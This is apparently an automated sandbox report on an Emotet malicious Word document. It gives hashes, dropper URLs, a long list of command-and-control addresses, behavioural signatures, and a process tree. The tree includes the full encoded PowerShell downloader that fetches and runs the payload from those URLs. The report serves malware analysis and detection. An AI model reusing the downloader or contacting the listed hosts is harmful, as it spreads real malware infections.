Analysis
- max time kernel
135s - max time network
150s - platform
windows10_x64 - resource
win10v200722 - submitted
11/08/2020, 10:49
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_5bbb813939f64e2278c6179f38bf23079ef73e26cfb042b2127fd7e8101b58cd_2020-08-11__104817._doc.doc
Resource
win7
General
- Target emotet_e3_5bbb813939f64e2278c6179f38bf23079ef73e26cfb042b2127fd7e8101b58cd_2020-08-11__104817._doc.doc
- Size 226KB
- Sample200811-b7mmsyp1a2
- SHA256 5bbb813939f64e2278c6179f38bf23079ef73e26cfb042b2127fd7e8101b58cd
- MD5 8669f7e995e700082c6678046ed33904
- SHA1 fb4199e58cc07d4b39ef7e01e8ad5a7153a9ca75
- SHA512 381d8d3ba1b6338a15f85124fddd552570332411cbaf61038fba068efc6429b1a9e94cfe1752a201affb2d6a6b2b0d0f59ea477811faf18b4d6704f257cbbd87
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://stoutarc.com/assets/hoTVnj/
-
exe.dropper
http://soundaffairs.net/logs/yzht756773/
-
exe.dropper
http://sukhumvithomes.com/sathorncondos.com/N6dWb36edu55270418/
-
exe.dropper
http://adopteerightslaw.org/yaook/ran/
-
exe.dropper
http://liveheart.co.jp/img/qyH/
Extracted
-
emotet
-
202.5.47.71:80
-
139.99.157.213:8080
-
188.166.25.84:8080
-
192.163.221.191:8080
-
181.113.229.139:443
-
115.79.195.246:80
-
113.161.148.81:80
-
37.46.129.215:8080
-
190.55.233.156:80
-
115.165.3.213:80
-
41.185.29.128:8080
-
51.38.201.19:7080
-
178.33.167.120:8080
-
46.105.131.68:8080
-
74.208.173.91:8080
-
143.95.101.72:8080
-
75.127.14.170:8080
-
78.188.170.128:80
-
115.78.11.155:80
-
203.153.216.182:7080
-
77.74.78.80:443
-
105.209.235.113:8080
-
139.59.12.63:8080
-
31.146.61.34:80
-
172.105.78.244:8080
-
188.251.213.180:443
-
192.210.217.94:8080
-
81.17.93.134:80
-
188.0.135.237:80
-
50.116.78.109:8080
-
107.161.30.122:8080
-
163.172.107.70:8080
-
212.156.133.218:80
-
177.144.130.105:443
-
87.106.231.60:8080
-
198.57.203.63:8080
-
5.79.70.250:8080
-
87.252.100.28:80
-
177.37.81.212:443
-
114.173.201.110:80
-
176.9.93.82:7080
-
190.164.75.175:80
-
185.142.236.163:443
-
201.235.10.215:80
-
181.164.110.7:80
-
203.153.216.178:7080
-
153.220.182.49:80
-
185.208.226.142:8080
-
46.32.229.152:8080
-
195.201.56.70:8080
-
212.112.113.235:80
-
97.104.107.190:80
-
187.64.128.197:80
-
91.83.93.103:443
-
75.139.38.211:80
-
181.143.101.19:8080
-
81.214.253.80:443
-
78.189.60.109:443
-
113.160.180.109:80
-
157.7.164.178:8081
-
216.75.37.196:8080
-
182.187.139.200:8080
-
179.5.118.12:80
-
190.31.53.131:80
-
181.134.9.162:80
-
192.241.220.183:8080
-
37.70.131.107:80
-
181.167.35.84:80
-
182.176.95.147:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1892 392 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1672-13-0x0000000001360000-0x000000000136C000-memory.dmp emotet behavioral2/memory/1672-13-0x0000000001360000-0x000000000136C000-memory.dmp emotet behavioral2/memory/3536-16-0x0000000001560000-0x000000000156C000-memory.dmp emotet behavioral2/memory/3536-16-0x0000000001560000-0x000000000156C000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 12 1892 powersheLL.exe 14 1892 powersheLL.exe 16 1892 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1672 882.exe 3536 msltus40.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\DolbyDecMFT\msltus40.exe 882.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3056 WINWORD.EXE 3056 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1892 powersheLL.exe 1892 powersheLL.exe 1892 powersheLL.exe 3536 msltus40.exe 3536 msltus40.exe 3536 msltus40.exe 3536 msltus40.exe 3536 msltus40.exe 3536 msltus40.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1892 powersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3056 WINWORD.EXE 3056 WINWORD.EXE 3056 WINWORD.EXE 3056 WINWORD.EXE 3056 WINWORD.EXE 3056 WINWORD.EXE 3056 WINWORD.EXE 3056 WINWORD.EXE 3056 WINWORD.EXE 3056 WINWORD.EXE 3056 WINWORD.EXE - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1672 wrote to memory of 3536 1672 882.exe 75 PID 1672 wrote to memory of 3536 1672 882.exe 75 PID 1672 wrote to memory of 3536 1672 882.exe 75
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_5bbb813939f64e2278c6179f38bf23079ef73e26cfb042b2127fd7e8101b58cd_2020-08-11__104817._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3056
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABGAFkASwBCAFcAeQBuAHQAPQAnAFUAQQBLAE8AUABxAGIAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAFUAUgBpAHQAYAB5AHAAUgBvAHQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAE4ASgBBAEMAYgB1AG4AIAA9ACAAJwA4ADgAMgAnADsAJABRAEIAUABJAFUAaQBtAGYAPQAnAEcATwBXAEYASAB5AGYAZAAnADsAJABHAEgATABOAE0AcgBuAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoATgBKAEEAQwBiAHUAbgArACcALgBlAHgAZQAnADsAJABGAEsATgBaAFQAcQBzAGkAPQAnAEwAWABUAFoARgBlAGYAeAAnADsAJABBAEYAWgBaAFMAZwBlAGUAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAQwBsAEkAZQBOAHQAOwAkAEQATwBIAFYAQwBrAG0AcwA9ACcAaAB0AHQAcAA6AC8ALwBzAHQAbwB1AHQAYQByAGMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AaABvAFQAVgBuAGoALwAqAGgAdAB0AHAAOgAvAC8AcwBvAHUAbgBkAGEAZgBmAGEAaQByAHMALgBuAGUAdAAvAGwAbwBnAHMALwB5AHoAaAB0ADcANQA2ADcANwAzAC8AKgBoAHQAdABwADoALwAvAHMAdQBrAGgAdQBtAHYAaQB0AGgAbwBtAGUAcwAuAGMAbwBtAC8AcwBhAHQAaABvAHIAbgBjAG8AbgBkAG8AcwAuAGMAbwBtAC8ATgA2AGQAVwBiADMANgBlAGQAdQA1ADUAMgA3ADAANAAxADgALwAqAGgAdAB0AHAAOgAvAC8AYQBkAG8AcAB0AGUAZQByAGkAZwBoAHQAcwBsAGEAdwAuAG8AcgBnAC8AeQBhAG8AbwBrAC8AcgBhAG4ALwAqAGgAdAB0AHAAOgAvAC8AbABpAHYAZQBoAGUAYQByAHQALgBjAG8ALgBqAHAALwBpAG0AZwAvAHEAeQBIAC8AJwAuACIAcwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAFAAUQBTAEsAcwBnAG0APQAnAFgAVQBEAFAASgBuAGcAcgAnADsAZgBvAHIAZQBhAGMAaAAoACQASABRAFkAQQBVAGwAawBiACAAaQBuACAAJABEAE8ASABWAEMAawBtAHMAKQB7AHQAcgB5AHsAJABBAEYAWgBaAFMAZwBlAGUALgAiAEQAbwBXAG4ATABvAGEAYABEAEYAYABpAGwAZQAiACgAJABIAFEAWQBBAFUAbABrAGIALAAgACQARwBIAEwATgBNAHIAbgBpACkAOwAkAEIAUQBJAFoAUABsAHEAYQA9ACcATwBIAEoAUgBBAGoAbgBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARwBIAEwATgBNAHIAbgBpACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAwADAANQA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAHIAZQBgAEEAVABlACIAKAAkAEcASABMAE4ATQByAG4AaQApADsAJABNAEEAVQBUAEgAYwB1AG4APQAnAFYATwBGAFQATgBzAGQAaAAnADsAYgByAGUAYQBrADsAJABQAFoARgBDAEoAbABzAGUAPQAnAEcAVQBUAEMAVABhAGMAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAFcAQgBXAFYAeABiAGYAPQAnAEkATwBWAFkAVwBiAGwAegAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1892
-
C:\Users\Admin\882.exeC:\Users\Admin\882.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\SysWOW64\DolbyDecMFT\msltus40.exe"C:\Windows\SysWOW64\DolbyDecMFT\msltus40.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3536
-